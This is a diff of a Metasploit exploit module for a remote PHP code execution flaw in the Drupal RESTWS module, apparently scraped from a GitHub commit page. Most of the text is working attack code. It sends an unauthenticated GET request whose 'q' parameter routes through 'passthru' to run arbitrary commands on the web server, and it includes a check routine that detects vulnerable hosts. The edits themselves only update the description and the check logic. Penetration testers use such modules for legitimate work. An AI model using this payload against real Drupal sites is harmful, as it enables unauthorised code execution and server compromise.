3
3
# Current source: https://github.com/rapid7/metasploit-framework
4
4
##
5
5
6
- require 'msf/core'
7
-
8
6
class MetasploitModule < Msf ::Exploit ::Remote
9
7
Rank = ExcellentRanking
10
8
@@ -14,13 +12,17 @@ def initialize(info={})
14
12
super ( update_info ( info ,
15
13
'Name' => 'Drupal RESTWS Module 7.x Remote PHP Code Execution' ,
16
14
'Description' => %q{
17
- This module exploits the Drupal RESTWS module vulnerability.
15
+ This module exploits a Remote PHP Code Execution vulnerability in
16
+ Drupal RESTWS Module. Unauthenticated users can execute arbitrary code
17
+ under the context of the web server user.
18
+
18
19
RESTWS alters the default page callbacks for entities to provide
19
20
additional functionality. A vulnerability in this approach allows
20
21
an unauthenticated attacker to send specially crafted requests resulting
21
- in arbitrary PHP execution
22
+ in arbitrary PHP execution. RESTWS 2.x prior to 2.6 and 1.x prior to 1.7
23
+ versions are affected by issue.
22
24
23
- This module was tested against RESTWS 7.x with Drupal 7.5 installation on Ubuntu server.
25
+ This module was tested against RESTWS 2.5 with Drupal 7.5 installation on Ubuntu server.
24
26
} ,
25
27
'License' => MSF_LICENSE ,
26
28
'Author' =>
@@ -47,7 +49,7 @@ def initialize(info={})
47
49
register_options (
48
50
[
49
51
OptString . new ( 'TARGETURI' , [ true , "The target URI of the Drupal installation" , '/' ] )
50
- ] , self . class
52
+ ]
51
53
)
52
54
end
53
55
@@ -57,11 +59,11 @@ def check
57
59
'method' => 'GET' ,
58
60
'uri' => normalize_uri ( target_uri . path , "index.php" ) ,
59
61
'vars_get' => {
60
- 'q' => "taxonomy_vocabulary/#{ r } /passthru/echo #{ r } "
62
+ 'q' => "taxonomy_vocabulary/#{ r } /passthru/echo #{ r } "
61
63
}
62
64
)
63
- if res && res . body =~ / #{ r } /
64
- return Exploit ::CheckCode ::Appears
65
+ if res && res . body . include? ( r )
66
+ return Exploit ::CheckCode ::Vulnerable
65
67
end
66
68
return Exploit ::CheckCode ::Safe
67
69
end
@@ -73,7 +75,7 @@ def exploit
73
75
'method' => 'GET' ,
74
76
'uri' => normalize_uri ( target_uri . path , "index.php" ) ,
75
77
'vars_get' => {
76
- 'q' => "taxonomy_vocabulary/#{ random } /passthru/#{ cmd } "
78
+ 'q' => "taxonomy_vocabulary/#{ random } /passthru/#{ cmd } "
77
79
}
78
80
)
79
81
end
0 commit comments